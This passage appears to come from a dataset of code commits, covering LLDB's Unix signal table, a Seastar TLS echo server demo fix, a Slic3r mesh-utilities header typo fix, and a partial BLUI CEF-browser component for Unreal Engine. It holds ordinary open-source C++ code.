size changes\");\n AddSignal(29, \"SIGINFO\", false, true, true, \"information request\");\n AddSignal(30, \"SIGUSR1\", false, true, true, \"user defined signal 1\");\n AddSignal(31, \"SIGUSR2\", false, true, true, \"user defined signal 2\");\n}\n\nvoid UnixSignals::AddSignal(int signo, const char *name, bool default_suppress,\n bool default_stop, bool default_notify,\n const char *description, const char *alias) {\n Signal new_signal(name, default_suppress, default_stop, default_notify,\n description, alias);\n m_signals.insert(std::make_pair(signo, new_signal));\n ++m_version;\n}\n\nvoid UnixSignals::RemoveSignal(int signo) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n m_signals.erase(pos);\n ++m_version;\n}\n\nconst char *UnixSignals::GetSignalAsCString(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos == m_signals.end())\n return nullptr;\n else\n return pos->second.m_name.GetCString();\n}\n\nbool UnixSignals::SignalIsValid(int32_t signo) const {\n return m_signals.find(signo) != m_signals.end();\n}\n\nConstString UnixSignals::GetShortName(ConstString name) const {\n if (name) {\n const char *signame = name.AsCString();\n return ConstString(signame + 3); \/\/ Remove \"SIG\" from name\n }\n return name;\n}\n\nint32_t UnixSignals::GetSignalNumberFromName(const char *name) const {\n ConstString const_name(name);\n\n collection::const_iterator pos, end = m_signals.end();\n for (pos = m_signals.begin(); pos != end; pos++) {\n if ((const_name == pos->second.m_name) ||\n (const_name == pos->second.m_alias) ||\n (const_name == GetShortName(pos->second.m_name)) ||\n (const_name == GetShortName(pos->second.m_alias)))\n return pos->first;\n }\n\n const int32_t signo =\n StringConvert::ToSInt32(name, LLDB_INVALID_SIGNAL_NUMBER, 0);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return signo;\n return LLDB_INVALID_SIGNAL_NUMBER;\n}\n\nint32_t UnixSignals::GetFirstSignalNumber() const {\n if (m_signals.empty())\n return LLDB_INVALID_SIGNAL_NUMBER;\n\n return (*m_signals.begin()).first;\n}\n\nint32_t UnixSignals::GetNextSignalNumber(int32_t current_signal) const {\n collection::const_iterator pos = m_signals.find(current_signal);\n collection::const_iterator end = m_signals.end();\n if (pos == end)\n return LLDB_INVALID_SIGNAL_NUMBER;\n else {\n pos++;\n if (pos == end)\n return LLDB_INVALID_SIGNAL_NUMBER;\n else\n return pos->first;\n }\n}\n\nconst char *UnixSignals::GetSignalInfo(int32_t signo, bool &should_suppress,\n bool &should_stop,\n bool &should_notify) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos == m_signals.end())\n return nullptr;\n else {\n const Signal &signal = pos->second;\n should_suppress = signal.m_suppress;\n should_stop = signal.m_stop;\n should_notify = signal.m_notify;\n return signal.m_name.AsCString(\"\");\n }\n}\n\nbool UnixSignals::GetShouldSuppress(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n return pos->second.m_suppress;\n return false;\n}\n\nbool UnixSignals::SetShouldSuppress(int signo, bool value) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end()) {\n pos->second.m_suppress = value;\n ++m_version;\n return true;\n }\n return false;\n}\n\nbool UnixSignals::SetShouldSuppress(const char *signal_name, bool value) {\n const int32_t signo = GetSignalNumberFromName(signal_name);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return SetShouldSuppress(signo, value);\n return false;\n}\n\nbool UnixSignals::GetShouldStop(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n return pos->second.m_stop;\n return false;\n}\n\nbool UnixSignals::SetShouldStop(int signo, bool value) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end()) {\n pos->second.m_stop = value;\n ++m_version;\n return true;\n }\n return false;\n}\n\nbool UnixSignals::SetShouldStop(const char *signal_name, bool value) {\n const int32_t signo = GetSignalNumberFromName(signal_name);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return SetShouldStop(signo, value);\n return false;\n}\n\nbool UnixSignals::GetShouldNotify(int signo) const {\n collection::const_iterator pos = m_signals.find(signo);\n if (pos != m_signals.end())\n return pos->second.m_notify;\n return false;\n}\n\nbool UnixSignals::SetShouldNotify(int signo, bool value) {\n collection::iterator pos = m_signals.find(signo);\n if (pos != m_signals.end()) {\n pos->second.m_notify = value;\n ++m_version;\n return true;\n }\n return false;\n}\n\nbool UnixSignals::SetShouldNotify(const char *signal_name, bool value) {\n const int32_t signo = GetSignalNumberFromName(signal_name);\n if (signo != LLDB_INVALID_SIGNAL_NUMBER)\n return SetShouldNotify(signo, value);\n return false;\n}\n\nint32_t UnixSignals::GetNumSignals() const { return m_signals.size(); }\n\nint32_t UnixSignals::GetSignalAtIndex(int32_t index) const {\n if (index < 0 || m_signals.size() <= static_cast<size_t>(index))\n return LLDB_INVALID_SIGNAL_NUMBER;\n auto it = m_signals.begin();\n std::advance(it, index);\n return it->first;\n}\n\nuint64_t UnixSignals::GetVersion() const { return m_version; }\n\nstd::vector<int32_t>\nUnixSignals::GetFilteredSignals(llvm::Optional<bool> should_suppress,\n llvm::Optional<bool> should_stop,\n llvm::Optional<bool> should_notify) {\n std::vector<int32_t> result;\n for (int32_t signo = GetFirstSignalNumber();\n signo != LLDB_INVALID_SIGNAL_NUMBER;\n signo = GetNextSignalNumber(signo)) {\n\n bool signal_suppress = false;\n bool signal_stop = false;\n bool signal_notify = false;\n GetSignalInfo(signo, signal_suppress, signal_stop, signal_notify);\n\n \/\/ If any of filtering conditions are not met, we move on to the next\n \/\/ signal.\n if (should_suppress.hasValue() &&\n signal_suppress != should_suppress.getValue())\n continue;\n\n if (should_stop.hasValue() && signal_stop != should_stop.getValue())\n continue;\n\n if (should_notify.hasValue() && signal_notify != should_notify.getValue())\n continue;\n\n result.push_back(signo);\n }\n\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n#include <cmath>\n#include <seastar\/core\/reactor.hh>\n#include <seastar\/core\/app-template.hh>\n#include <seastar\/core\/sleep.hh>\n#include <seastar\/net\/dns.hh>\n#include \"tls_echo_server.hh\"\n\nusing namespace seastar;\nnamespace bpo = boost::program_options;\n\n\nint main(int ac, char** av) {\n app_template app;\n app.add_options()\n (\"port\", bpo::value<uint16_t>()->default_value(10000), \"Server port\")\n (\"address\", bpo::value<std::string>()->default_value(\"127.0.0.1\"), \"Server address\")\n (\"cert,c\", bpo::value<std::string>()->required(), \"Server certificate file\")\n (\"key,k\", bpo::value<std::string>()->required(), \"Certificate key\")\n (\"verbose,v\", bpo::value<bool>()->default_value(false)->implicit_value(true), \"Verbose\")\n ;\n return app.run_deprecated(ac, av, [&] {\n auto&& config = app.configuration();\n uint16_t port = config[\"port\"].as<uint16_t>();\n auto crt = config[\"cert\"].as<std::string>();\n auto key = config[\"key\"].as<std::string>();\n auto addr = config[\"address\"].as<std::string>();\n auto verbose = config[\"verbose\"].as<bool>();\n\n std::cout << \"Starting...\" << std::endl;\n return net::dns::resolve_name(addr).then([=](net::inet_address a) {\n ipv4_addr ia(a, port);\n\n auto server = ::make_shared<seastar::sharded<echoserver>>();\n return server->start(verbose).then([=]() {\n return server->invoke_on_all(&echoserver::listen, socket_address(ia), sstring(crt), sstring(key), tls::client_auth::NONE);\n }).handle_exception([=](auto e) {\n std::cerr << \"Error: \" << e << std::endl;\n engine().exit(1);\n }).then([=] {\n std::cout << \"TLS echo server running at \" << addr << \":\" << port << std::endl;\n engine().at_exit([server] {\n return server->stop();\n });\n });\n });\n });\n}\n<commit_msg>tls_echo_server_demo: main: capture server post stop()<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n#include <cmath>\n#include <seastar\/core\/reactor.hh>\n#include <seastar\/core\/app-template.hh>\n#include <seastar\/core\/sleep.hh>\n#include <seastar\/net\/dns.hh>\n#include \"tls_echo_server.hh\"\n\nusing namespace seastar;\nnamespace bpo = boost::program_options;\n\n\nint main(int ac, char** av) {\n app_template app;\n app.add_options()\n (\"port\", bpo::value<uint16_t>()->default_value(10000), \"Server port\")\n (\"address\", bpo::value<std::string>()->default_value(\"127.0.0.1\"), \"Server address\")\n (\"cert,c\", bpo::value<std::string>()->required(), \"Server certificate file\")\n (\"key,k\", bpo::value<std::string>()->required(), \"Certificate key\")\n (\"verbose,v\", bpo::value<bool>()->default_value(false)->implicit_value(true), \"Verbose\")\n ;\n return app.run_deprecated(ac, av, [&] {\n auto&& config = app.configuration();\n uint16_t port = config[\"port\"].as<uint16_t>();\n auto crt = config[\"cert\"].as<std::string>();\n auto key = config[\"key\"].as<std::string>();\n auto addr = config[\"address\"].as<std::string>();\n auto verbose = config[\"verbose\"].as<bool>();\n\n std::cout << \"Starting...\" << std::endl;\n return net::dns::resolve_name(addr).then([=](net::inet_address a) {\n ipv4_addr ia(a, port);\n\n auto server = ::make_shared<seastar::sharded<echoserver>>();\n return server->start(verbose).then([=]() {\n return server->invoke_on_all(&echoserver::listen, socket_address(ia), sstring(crt), sstring(key), tls::client_auth::NONE);\n }).handle_exception([=](auto e) {\n std::cerr << \"Error: \" << e << std::endl;\n engine().exit(1);\n }).then([=] {\n std::cout << \"TLS echo server running at \" << addr << \":\" << port << std::endl;\n engine().at_exit([server] {\n return server->stop().finally([server] {});\n });\n });\n });\n });\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef slic3r_MeshUtils_hpp_\n#define slic3r_MeshUtils_hpp_\n\n#include \"libslic3r\/Point.hpp\"\n#include \"libslic3r\/Geometry.hpp\"\n\n\n#include <cfloat>\n\nnamespace Slic3r {\n\nclass TriangleMesh;\nclass TriangleMeshSlicer;\n\nnamespace GUI {\n\nclass Camera;\n\n\n\nclass ClippingPlane\n{\n double m_data[4];\n\npublic:\n ClippingPlane()\n {\n m_data[0] = 0.0;\n m_data[1] = 0.0;\n m_data[2] = 1.0;\n m_data[3] = 0.0;\n }\n\n ClippingPlane(const Vec3d& direction, double offset)\n {\n Vec3d norm_dir = direction.normalized();\n m_data[0] = norm_dir(0);\n m_data[1] = norm_dir(1);\n m_data[2] = norm_dir(2);\n m_data[3] = offset;\n }\n\n bool operator==(const ClippingPlane& cp) const {\n return m_data[0]==cp.m_data[0] && m_data[1]==cp.m_data[1] && m_data[2]==cp.m_data[2] && m_data[3]==cp.m_data[3];\n }\n bool operator!=(const ClippingPlane& cp) const { return ! (*this==cp); }\n\n double distance(const Vec3d& pt) const {\n assert(is_approx(get_normal().norm(), 1.));\n return (-get_normal().dot(pt) + m_data[3]);\n }\n\n void set_normal(const Vec3d& normal) { for (size_t i=0; i<3; ++i) m_data[i] = normal(i); }\n void set_offset(double offset) { m_data[3] = offset; }\n Vec3d get_normal() const { return Vec3d(m_data[0], m_data[1], m_data[2]); }\n bool is_active() const { return m_data[3] != DBL_MAX; }\n static ClippingPlane ClipsNothing() { return ClippingPlane(Vec3d(0., 0., 1.), DBL_MAX); }\n const double* get_data() const { return m_data; }\n\n \/\/ Serialization through cereal library\n template <class Archive>\n void serialize( Archive & ar )\n {\n ar( m_data[0], m_data[1], m_data[2], m_data[3] );\n }\n};\n\n\n\nclass MeshClipper {\npublic:\n void set_plane(const ClippingPlane& plane);\n void set_mesh(const TriangleMesh& mesh);\n void set_transformation(const Geometry::Transformation& trafo);\n\n const std::vector<Vec3f>& get_triangles();\n\nprivate:\n void recalculate_triangles();\n\n Geometry::Transformation m_trafo;\n const TriangleMesh* m_mesh = nullptr;\n ClippingPlane m_plane;\n std::vector<Vec2f> m_triangles2d;\n std::vector<Vec3f> m_triangles3d;\n bool m_triangles_valid = false;\n std::unique_ptr<TriangleMeshSlicer> m_tms;\n};\n\n\n\n\nclass MeshRaycaster {\npublic:\n MeshRaycaster(const TriangleMesh& mesh);\n ~MeshRaycaster();\n void set_transformation(const Geometry::Transformation& trafo);\n void set_camera(const Camera& camera);\n\n bool unproject_on_mesh(const Vec2d& mouse_pos, const Transform3d& trafo, const Camera& camera,\n std::vector<Vec3f>* positions = nullptr, std::vector<Vec3f>* normals = nullptr) const;\n\n std::vector<unsigned> get_unobscured_idxs(const Geometry::Transformation& trafo, const Camera& camera,\n const std::vector<Vec3f>& points, std::function<bool(const Vec3f&)> fn_ignore_hit) const;\n\n Vec3f get_closest_point(const Vec3f& point, Vec3f* normal = nullptr) const;\n\nprivate:\n \/\/ PIMPL wrapper around igl::AABB so I don't have to include the header-only IGL here\n class AABBWrapper;\n AABBWrapper* m_AABB_wrapper;\n const TriangleMesh* m_mesh = nullptr;\n};\n\n \n} \/\/ namespace GUI\n} \/\/ namespace Slic3r\n\n\n#endif \/\/ slic3r_MeshUtils_hpp_\n<commit_msg>Fixed typo<commit_after>#ifndef slic3r_MeshUtils_hpp_\n#define slic3r_MeshUtils_hpp_\n\n#include \"libslic3r\/Point.hpp\"\n#include \"libslic3r\/Geometry.hpp\"\n\n\n#include <cfloat>\n\nnamespace Slic3r {\n\nclass TriangleMesh;\nclass TriangleMeshSlicer;\n\nnamespace GUI {\n\nstruct Camera;\n\n\n\nclass ClippingPlane\n{\n double m_data[4];\n\npublic:\n ClippingPlane()\n {\n m_data[0] = 0.0;\n m_data[1] = 0.0;\n m_data[2] = 1.0;\n m_data[3] = 0.0;\n }\n\n ClippingPlane(const Vec3d& direction, double offset)\n {\n Vec3d norm_dir = direction.normalized();\n m_data[0] = norm_dir(0);\n m_data[1] = norm_dir(1);\n m_data[2] = norm_dir(2);\n m_data[3] = offset;\n }\n\n bool operator==(const ClippingPlane& cp) const {\n return m_data[0]==cp.m_data[0] && m_data[1]==cp.m_data[1] && m_data[2]==cp.m_data[2] && m_data[3]==cp.m_data[3];\n }\n bool operator!=(const ClippingPlane& cp) const { return ! (*this==cp); }\n\n double distance(const Vec3d& pt) const {\n assert(is_approx(get_normal().norm(), 1.));\n return (-get_normal().dot(pt) + m_data[3]);\n }\n\n void set_normal(const Vec3d& normal) { for (size_t i=0; i<3; ++i) m_data[i] = normal(i); }\n void set_offset(double offset) { m_data[3] = offset; }\n Vec3d get_normal() const { return Vec3d(m_data[0], m_data[1], m_data[2]); }\n bool is_active() const { return m_data[3] != DBL_MAX; }\n static ClippingPlane ClipsNothing() { return ClippingPlane(Vec3d(0., 0., 1.), DBL_MAX); }\n const double* get_data() const { return m_data; }\n\n \/\/ Serialization through cereal library\n template <class Archive>\n void serialize( Archive & ar )\n {\n ar( m_data[0], m_data[1], m_data[2], m_data[3] );\n }\n};\n\n\n\nclass MeshClipper {\npublic:\n void set_plane(const ClippingPlane& plane);\n void set_mesh(const TriangleMesh& mesh);\n void set_transformation(const Geometry::Transformation& trafo);\n\n const std::vector<Vec3f>& get_triangles();\n\nprivate:\n void recalculate_triangles();\n\n Geometry::Transformation m_trafo;\n const TriangleMesh* m_mesh = nullptr;\n ClippingPlane m_plane;\n std::vector<Vec2f> m_triangles2d;\n std::vector<Vec3f> m_triangles3d;\n bool m_triangles_valid = false;\n std::unique_ptr<TriangleMeshSlicer> m_tms;\n};\n\n\n\n\nclass MeshRaycaster {\npublic:\n MeshRaycaster(const TriangleMesh& mesh);\n ~MeshRaycaster();\n void set_transformation(const Geometry::Transformation& trafo);\n void set_camera(const Camera& camera);\n\n bool unproject_on_mesh(const Vec2d& mouse_pos, const Transform3d& trafo, const Camera& camera,\n std::vector<Vec3f>* positions = nullptr, std::vector<Vec3f>* normals = nullptr) const;\n\n std::vector<unsigned> get_unobscured_idxs(const Geometry::Transformation& trafo, const Camera& camera,\n const std::vector<Vec3f>& points, std::function<bool(const Vec3f&)> fn_ignore_hit) const;\n\n Vec3f get_closest_point(const Vec3f& point, Vec3f* normal = nullptr) const;\n\nprivate:\n \/\/ PIMPL wrapper around igl::AABB so I don't have to include the header-only IGL here\n class AABBWrapper;\n AABBWrapper* m_AABB_wrapper;\n const TriangleMesh* m_mesh = nullptr;\n};\n\n \n} \/\/ namespace GUI\n} \/\/ namespace Slic3r\n\n\n#endif \/\/ slic3r_MeshUtils_hpp_\n<|endoftext|>"} {"text":"<commit_before>#include \"BluPrivatePCH.h\"\n\nUBluEye::UBluEye(const class FObjectInitializer& PCIP)\n\t: Super(PCIP)\n{\n\n\tWidth = 800;\n\tHeight = 600;\n\n\tbIsTransparent = false;\n\n}\n\nvoid UBluEye::init()\n{\n\n\t\/** \n\t * We don't want this running in editor unless it's PIE\n\t * If we don't check this, CEF will spawn infinit processes with widget components\n\t **\/\n\tif (GEngine)\n\t{\n\t\tif (GEngine->IsEditor() && !GWorld->IsPlayInEditor())\n\t\t{\n\t\t\tUE_LOG(LogBlu, Log, TEXT(\"Notice: not playing - Component Will Not Initialize\"));\n\t\t\treturn;\n\t\t}\n\t}\n\t\n\tbrowserSettings.universal_access_from_file_urls = STATE_ENABLED;\n\tbrowserSettings.file_access_from_file_urls = STATE_ENABLED;\n\n\tinfo.width = Width;\n\tinfo.height = Height;\n\n\t\/\/ Set the texture update region (for now the whole image)\n\tRenderParams.UpdateRegions = new FUpdateTextureRegion2D(0, 0, 0, 0, Width, Height);\n\n\t\/\/ Set transparant option\n\tinfo.SetAsWindowless(0, bIsTransparent);\n\n\trenderer = new RenderHandler(Width, Height, this);\n\tg_handler = new BrowserClient(renderer);\n\tbrowser = CefBrowserHost::CreateBrowserSync(info, g_handler.get(), \"about:blank\", browserSettings, NULL);\n\n\t\/\/ Setup JS event emitter\n\tg_handler->SetEventEmitter(&ScriptEventEmitter);\n\n\tUE_LOG(LogBlu, Log, TEXT(\"Component Initialized\"));\n\tCefString str = *DefaultURL;\n\tUE_LOG(LogBlu, Log, TEXT(\"Loading URL: %s\"), *DefaultURL);\n\n\t\/\/ Load the default URL\n\tLoadURL(DefaultURL);\n\tResetTexture();\n\n}\n\nvoid UBluEye::ResetTexture()\n{\n\n\t\/\/ Here we init the texture to its initial state\n\tDestroyTexture();\n\n\t\/\/ init the new Texture2D\n\tTexture = UTexture2D::CreateTransient(Width, Height, PF_B8G8R8A8);\n\tTexture->AddToRoot();\n\tTexture->UpdateResource();\n\n\tRenderParams.Texture2DResource = (FTexture2DResource*)Texture->Resource;\n\n\tResetMatInstance();\n\n}\n\nvoid UBluEye::DestroyTexture()\n{\n\t\/\/ Here we destory the texture and its resource\n\tif (Texture)\n\t{\n\t\tTexture->RemoveFromRoot();\n\n\t\tif (Texture->Resource)\n\t\t{\n\t\t\tBeginReleaseResource(Texture->Resource);\n\t\t\tFlushRenderingCommands();\n\t\t}\n\n\t\tTexture->MarkPendingKill();\n\t\tTexture = nullptr;\n\t}\n}\n\nvoid UBluEye::TextureUpdate(const void *buffer)\n{\n\tif (!browser || !bEnabled)\n\t{\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"NO BROWSER ACCESS OR NOT ENABLED\"))\n\t\treturn;\n\t}\n\n\tif (Texture && Texture->Resource)\n\t{\n\n\t\t\/\/ Is our texture ready?\n\t\tauto ref = static_cast<FTexture2DResource*>(Texture->Resource)->GetTexture2DRHI();\n\t\tif (!ref)\n\t\t{\n\t\t\tUE_LOG(LogBlu, Warning, TEXT(\"NO REF\"))\n\t\t\t\treturn;\n\t\t}\n\n\t\tif (buffer == nullptr)\n\t\t{\n\t\t\tUE_LOG(LogBlu, Warning, TEXT(\"NO TEXTDATA\"))\n\t\t\t\treturn;\n\t\t}\t\n\n\t\tENQUEUE_UNIQUE_RENDER_COMMAND_FOURPARAMETER(\n\t\t\tvoid,\n\t\t\tconst void*, ImageData, buffer,\n\t\t\tUTexture2D*, TargetTexture, Texture,\n\t\t\tint32, Stride, Width * 4,\n\t\t\tFBluTextureParams, Params, RenderParams,\n\t\t\t{\n\n\t\t\t\tRHIUpdateTexture2D(Params.Texture2DResource->GetTexture2DRHI(), 0, *Params.UpdateRegions, Stride, (uint8*)ImageData);\n\n\t\t\t});\n\n\t}\n\telse {\n\t\tUE_LOG(LogBlu, Warning, TEXT(\"no Texture or Texture->resource\"))\n\t}\n\n}\n\nvoid UBluEye::ExecuteJS(const FString& code)\n{\n\tCefString codeStr = *code;\n\tbrowser->GetMainFrame()->ExecuteJavaScript(codeStr, \"\", 0);\n}\n\nvoid UBluEye::LoadURL(const FString& newURL)\n{\n\n\t\/\/ Check if we want to load a local file\n\n\tif (newURL.Contains(TEXT(\"blui:\/\/\"), ESearchCase::IgnoreCase, ESearchDir::FromStart))\n\t{\n\n\t\t\/\/ Get the current working directory\n\t\tFString GameDir = FPaths::ConvertRelativePathToFull(FPaths::GameDir());\n\n\t\t\/\/ We're loading a local file, so replace the proto with our game directory path\n\t\tFString LocalFile = newURL.Replace(TEXT(\"blui:\/\/\"), *GameDir, ESearchCase::IgnoreCase);\n\n\t\t\/\/ Now we use the file proto\n\t\tLocalFile = FString(TEXT(\"file:\/\/\/\")) + LocalFile;\n\n\t\tUE_LOG(LogBlu, Log, TEXT(\"Load Local File: %s\"), *LocalFile)\n\n\t\t\/\/ Load it up \n\t\tbrowser->GetMainFrame()->LoadURL(*LocalFile);\n\n\t\treturn;\n\n\t}\n\n\t\/\/ Load as usual\n\tbrowser->GetMainFrame()->LoadURL(*newURL);\n\n}\n\nbool UBluEye::IsBrowserLoading()\n{\n\n\treturn browser->IsLoading();\n\n}\n\nvoid UBluEye::ReloadBrowser(bool IgnoreCache)\n{\n\n\tif (IgnoreCache)\n\t{\n\t\treturn browser->ReloadIgnoreCache();\n\t}\n\n\tbrowser->Reload();\n\n}\n\nvoid UBluEye::NavBack()\n{\n\n\tif (browser->CanGoBack())\n\t{\n\t\tbrowser->GoBack();\n\t}\n\n}\n\nvoid UBluEye::NavForward()\n{\n\n\tif (browser->CanGoForward())\n\t{\n\t\tbrowser->GoForward();\n\t}\n\n}\n\nvoid UBluEye::ResizeBrowser(int32 NewWidth, int32 NewHeight)\n{\n\n\t\/\/ Disable the web view while we resize\n\tbEnabled = false;\n\n\t\/\/ Set our new Width and Height\n\tWidth = NewWidth;\n\tHeight = NewHeight;\n\t\n\t\/\/ Update our render handler\n\trenderer->width = NewWidth;\n\trenderer->height = NewHeight;\n\n\t\/\/ Also update the Region definition\n\tRenderParams.UpdateRegions->Height = NewHeight;\n\tRenderParams.UpdateRegions->Width = NewWidth;\n\n\t\/\/ Let the browser's host know we resized it\n\tbrowser->GetHost()->WasResized();\n\n\t\/\/ Now we can keep going\n\tbEnabled = true;\n\n}\n\nvoid UBluEye::TriggerMouseMove(const FVector2D& pos, const float scale)\n{\n\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendFocusEvent(true);\n\tbrowser->GetHost()->SendMouseMoveEvent(mouse_event, false);\n\n}\n\nvoid UBluEye::TriggerLeftClick(const FVector2D& pos, const float scale)\n{\n\tTriggerLeftMouseDown(pos, scale);\n\tTriggerLeftMouseUp(pos, scale);\n}\n\nvoid UBluEye::TriggerRightClick(const FVector2D& pos, const float scale)\n{\n\tTriggerRightMouseDown(pos, scale);\n\tTriggerRightMouseUp(pos, scale);\n}\n\nvoid UBluEye::TriggerLeftMouseDown(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_LEFT, false, 1);\n}\n\nvoid UBluEye::TriggerRightMouseDown(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_RIGHT, false, 1);\n}\n\nvoid UBluEye::TriggerLeftMouseUp(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_LEFT, true, 1);\n}\n\nvoid UBluEye::TriggerRightMouseUp(const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseClickEvent(mouse_event, MBT_RIGHT, true, 1);\n}\n\nvoid UBluEye::TriggerMouseWheel(const float MouseWheelDelta, const FVector2D& pos, const float scale)\n{\n\tmouse_event.x = pos.X \/ scale;\n\tmouse_event.y = pos.Y \/ scale;\n\n\tbrowser->GetHost()->SendMouseWheelEvent(mouse_event, MouseWheelDelta * 10, MouseWheelDelta * 10);\n}\n\nvoid UBluEye::KeyDown(FKeyEvent InKey)\n{\n\n\tprocessKeyMods(InKey);\n\tprocessKeyCode(InKey);\n\n\tkey_event.type = KEYEVENT_KEYDOWN;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::KeyUp(FKeyEvent InKey)\n{\n\n\tprocessKeyMods(InKey);\n\tprocessKeyCode(InKey);\n\n\tkey_event.type = KEYEVENT_KEYUP;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::KeyPress(FKeyEvent InKey)\n{\n\n\t\/\/ Simply trigger down, then up key events\n\tKeyDown(InKey);\n\tKeyUp(InKey);\n\n}\n\nvoid UBluEye::processKeyCode(FKeyEvent InKey)\n{\n\tkey_event.native_key_code = InKey.GetKeyCode();\n\tkey_event.windows_key_code = InKey.GetKeyCode();\n}\n\nvoid UBluEye::CharKeyPress(FCharacterEvent CharEvent)\n{\n\n\t\/\/ Process keymods like usual\n\tprocessKeyMods(CharEvent);\n\n\t\/\/ Below char input needs some special treatment, se we can't use the normal key down\/up methods\n\tkey_event.windows_key_code = CharEvent.GetCharacter();\n\tkey_event.native_key_code = CharEvent.GetCharacter();\n\tkey_event.type = KEYEVENT_CHAR;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n\tkey_event.windows_key_code = CharEvent.GetCharacter();\n\tkey_event.native_key_code = CharEvent.GetCharacter();\n\n\tkey_event.type = KEYEVENT_KEYUP;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::RawCharKeyPress(const FString charToPress, bool isRepeat,\n\tbool LeftShiftDown,\n\tbool RightShiftDown,\n\tbool LeftControlDown,\n\tbool RightControlDown,\n\tbool LeftAltDown,\n\tbool RightAltDown,\n\tbool LeftCommandDown,\n\tbool RightCommandDown,\n\tbool CapsLocksOn)\n{\n\n\tFModifierKeysState* KeyState = new FModifierKeysState(LeftShiftDown, RightShiftDown, LeftControlDown, \n\t\tRightControlDown, LeftAltDown, RightAltDown, LeftCommandDown, RightCommandDown, CapsLocksOn);\n\n\tFCharacterEvent* CharEvent = new FCharacterEvent(charToPress.GetCharArray()[0], *KeyState, 0, isRepeat);\n\n\tCharKeyPress(*CharEvent);\n\n}\n\nvoid UBluEye::SpecialKeyPress(EBluSpecialKeys key, bool LeftShiftDown,\n\tbool RightShiftDown,\n\tbool LeftControlDown,\n\tbool RightControlDown,\n\tbool LeftAltDown,\n\tbool RightAltDown,\n\tbool LeftCommandDown,\n\tbool RightCommandDown,\n\tbool CapsLocksOn)\n{\n\n\tint32 keyValue = key;\n\n\tkey_event.windows_key_code = keyValue;\n\tkey_event.native_key_code = keyValue;\n\tkey_event.type = KEYEVENT_KEYDOWN;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n\tkey_event.windows_key_code = keyValue;\n\tkey_event.native_key_code = keyValue;\n\t\/\/ bits 30 and 31 should be always 1 for WM_KEYUP\n\tkey_event.type = KEYEVENT_KEYUP;\n\tbrowser->GetHost()->SendKeyEvent(key_event);\n\n}\n\nvoid UBluEye::processKeyMods(FInputEvent InKey)\n{\n\n\tint mods = 0;\n\n\t\/\/ Test alt\n\tif (InKey.IsAltDown())\n\t{\n\t\tmods |= cef_event_flags_t::EVENTFLAG_ALT_DOWN;\n\t}\n\telse\n\t\/\/ Test control\n\tif (InKey.IsControlDown())\n\t{\n\t\tmods |= cef_event_flags_t::EVENTFLAG_CONTROL_DOWN;\n\t} \n\telse\n\t\/\/ Test shift\n\tif (InKey.IsShiftDown())\n\t{\n\t\tmods |= cef_event_flags_t::EVENTFLAG_SHIFT_DOWN;\n\t}\n\n\tkey_event.modifiers = mods;\n\n}\n\nUTexture2D* UBluEye::GetTexture() const\n{\n\tif (!Texture)\n\t{\n\t\treturn UTexture2D::CreateTransient(Width, Height);\n\t}\n\n\treturn Texture;\n}\n\nUMaterialInstanceDynamic* UBluEye::GetMaterialInstance() const\n{\n\treturn MaterialInstance;\n}\n\nvoid UBluEye::ResetMatInstance()\n{\n\tif (!Texture || !BaseMaterial || TextureParameterName.IsNone())\n\t{\n\t\treturn;\n\t}\n\n\t\/\/ Create material instance\n\tif (!MaterialInstance)\n\t{\n\t\tMaterialInstance = UMaterialInstanceDynamic::Create(BaseMaterial, 